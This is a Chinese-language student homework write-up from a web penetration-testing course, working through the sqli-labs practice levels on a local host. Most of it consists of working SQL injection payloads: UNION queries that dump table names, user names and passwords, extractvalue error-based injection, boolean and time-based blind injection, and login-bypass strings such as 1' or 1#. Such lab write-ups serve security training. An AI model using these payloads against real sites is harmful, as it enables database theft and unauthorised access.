文章来源 | MS08067 Web零基础1期作业
本文作者:tyrant(Web零基础1期学员)
通过文字提示,需要传递一个ID参数。通过get 方式提交后如下图:
1、对id参数进行测试,看看能否发现注入漏洞。127.0.0.1/sqlilabs/Less-1/?id=3'")
有提示说在'")' LIMIT 0,1'附近发生了错误。通过构造的参数可以猜测出:SQL查询语句为 select * from 表 where id = '3'(使用的单引号将字符串封闭起来)。因此可以进行下一步,利用order by 查询该SQL语句共查询了多少字段。2、使用127.0.0.1/sqlilabs/Less-1/?id=3' order by 5 # 或者 127.0.0.1/sqlilabs/Less-1/?id=3' order by 5 --+ 注:#、--+在SQL语句中都是注释的意思。(在URL中的--+在SQL中会变成-- )。看看哪个能够正确执行就用哪个。
通过实验,发现查询了3个字段。3、利用联合查询语句,判断是第几个字段显示在了页面上。注意,这里很明显,只是查询输出1行结果,要让前边的查询为空,后边构造的语句才能正确显示。127.0.0.1/sqlilabs/Less-1/?id=-3' union select 1, 2, 3 --+
在页面上,显示了2与3,也就是说,页面上显示了查询语句的第2、 3个字段。后面构造的语句,也要在第2或第3个字段显示。4、利用UNION联合查询分别来查询使用的数据库、表、字段等信息。4.1查询数据库名称。127.0.0.1/sqlilabs/Less-1/?id=-3' union select 1, database(), 3 --+
查询到当前使用数据库的名称为“security” 4.2利用information_schemas数据库中的tables表中存放着security数据库中表与字段的相关信息,可查询出security下数据表的信息。127.0.0.1/sqlilabs/Less-1/?id=-3' union select 1, database(), table_name from information_schema.tables where table_schema = 'security' --+
出现此页面,说明要查询的字段,字符编码与前边原查询对应字段的字符编码不一致,使用CONVERT(a USING b)函数转化一下。127.0.0.1/sqlilabs/Less-1/?id=-3' union select 1, database(), convert(table_name USING gbk) from information_schema.tables where table_schema = 'security' --+
虽然显示了正确的查询结果,但是在该数据库中,应该不止这一个表,使用group_concat(a)函数,将所有结果合并成一条记录,输出出来。127.0.0.1/sqlilabs/Less-1/?id=-3' union select 1, database(), group_concat(convert(table_name USING gbk)) from information_schema.tables where table_schema = 'security' --+
查询到security数据库下,有过个表,分别是:emails,referers,uagents,users 4.3查询security数据库下,emails表下边有哪些字段。同样是利用information_schema数据库下的columns表中的信息进行查询 127.0.0.1/sqlilabs/Less-1/?id=-3' union select 1, database(), group_concat(convert(column_name USING gbk)) from information_schema.columns where table_schema = 'security' and table_name = "emails" --+
查出在security数据库、emails表下有两个字段,分别是:id,email_id 4.4查询security数据库下,emails表下,email_idz字段的值。127.0.0.1/sqlilabs/Less-1/?id=-3' union select 1, group_concat(id), group_concat(email_id) from security.emails--+
前几步方式类似,直接截图。1、127.0.0.1/sqlilabs/Less-2/?id=1'")
说明id参数是个数字类型的。2、127.0.0.1/sqlilabs/Less-2/?id=1 order by 3#
说明查询3个字段 3、127.0.0.1/sqlilabs/Less-2/?id=-1 union select 1, 2, 3#
4、127.0.0.1/sqlilabs/Less-2/?id=-2 union select 1, database(),3 #
5、127.0.0.1/sqlilabs/Less-2/?id=-2 union select 1, group_concat(convert(table_name USING gbk)),3 from information_schema.tables where table_schema = "security" #
6、127.0.0.1/sqlilabs/Less-2/?id=-2 union select 1, 2,group_concat(convert(column_name USING gbk)) from information_schema.columns where table_schema = "security" and table_name = "users"#
7、127.0.0.1/sqlilabs/Less-2/?id=-2 union select 1,group_concat(username),group_concat(password) from security.users#
与前两关类似,直接上结果。
闭合方式应该是:127.0.0.1/sqlilabs/Less-3/?id=1')--+") union联合查询步骤类似,直接上结果
与前两关类似,直接上结果。
闭合方式应该是:127.0.0.1/sqlilabs/Less-4/?id=1") --+ union联合查询步骤类似,直接上结果
1、判断是否存在注入。
说明参数附近存在闭合错误。闭合方式为:127.0.0.1/sqlilabs/Less-5/?id=1'--+
因为页面没有显示有查询数据,考虑用报错注入方式来进行注入测试。2、利用extractvalue()函数进行报错注入 127.0.0.1/sqlilabs/Less-5/?id=1' and extractvalue("", concat("!",(select database()),"!"))--+
查询到当前的数据库为“security” 3、查询security数据库下的数据表。127.0.0.1/sqlilabs/Less-5/?id=1' and extractvalue("", concat("!",(select group_concat(table_name) from information_schema.tables where table_schema="security"),"!"))--+
4、查询security数据库下,emails表下的字段名称 127.0.0.1/sqlilabs/Less-5/?id=1' and extractvalue("", concat("!",(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name = "emails"),"!"))--+
5、查询查询security数据库下,referers表下、各字段的名称 127.0.0.1/sqlilabs/Less-5/?id=1' and extractvalue("", concat("!",(select group_concat(email_id) from security.emails),"!"))--+
由于extractvalue()函数最多显示32位字符,所以利用limit来一条一条显示 127.0.0.1/sqlilabs/Less-5/?id=1' and extractvalue("", concat("!",(select email_id from security.emails limit 0,1),"!"))--+
127.0.0.1/sqlilabs/Less-5/?id=1' and extractvalue("", concat("!",(select concat_ws(",",id,email_id) from security.emails limit 1,1),"!"))--+ 利用concat_ws(",",字段1,字段2)可打印多个字段。
闭合方式:127.0.0.1/sqlilabs/Less-6/?id=1"--+
闭合方式:127.0.0.1/sqlilabs/Less-7/?id=1'))--+
开始考虑用报错注入,但是发现没有XPATH的输出,即没有print_r(mysql_error)。所以此处没法用报错注入,来显示隐私信息
根据提示,用into outfile来进行测试。可以将信息输出到指定的目录里边。
测试使用布尔盲注方式获得所要查询的数据。
1、查询数据库的长度。结果查询出长度为8
闭合方式:127.0.0.1/sqlilabs/Less-7/?id=1'--+
因为没有可以显示的数据信息,所以不考虑用联合查询来获取数据库信息,开始考虑用报错注入,但是发现没有XPATH的输出,即没有print_r(mysql_error)。所以此处没法用报错注入,来显示隐私信息
测试使用布尔盲注方式获得所要查询的数据。1、查询数据库的长度。结果查询出长度为8
2、利用burpsuite来跑一下这个数据库的名称。打开代理,然后构造一下语句,通过bp抓包。
通过length的区别,可以看出响应的区别,对正确相应的,摘取出来。通过查询ASCII码,获取数据库的名称为“security”。
同理,可依次查询出数据表,字段,及响应的数据信息。3、查询emails表下边,email_id字段下,所有值总共的长度,为1574、利用burpsuite来跑一下这个数据库的名称。打开代理,然后构造一下语句,通过bp抓包。
可按照顺序,完成字符串的转码。
这一关,不管怎样构造闭合,都会跟成功显示了一样似的,看似没有问题。
用时间盲注试了一下,用'就可以闭合。且能够判断出存在漏洞 127.0.0.1/sqlilabs/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5), 1 )--+
可以看到,5秒后,页面才正常加载。在通过ASCII编码转义一下,完成注入。
这一关跟第九个类似,用双引号闭合。利用时间盲注完成注入
这一关,需要登录,猜测用户验证的语句为:select * from users where username='' and password = ''.
因此考虑在username这里构造闭合 1' or 1#,并or 1,让后边的条件为真。
这一关用户名输入1",通过错误提示,构造闭合为1") or 1# ,顺利过关
这一关用户名输入123',通过错误提示,构造闭合为1') or 1# ,顺利过关
这一关用户名输入1",通过错误提示,构造闭合为1" or 1# ,顺利过关
这一关,不论怎么输,不打印错误提示了,猜测他的查询语句,进行闭合猜测,并尝试1' or 1#,猜测正确,顺利过关。
类似15关,猜测语句为1") or 1 #,顺利过关
想和这位学员一样学有所得吗?
Web渗透工程师零基础就业班
等你加入👇👇👇
— 实验室旗下直播培训课程 —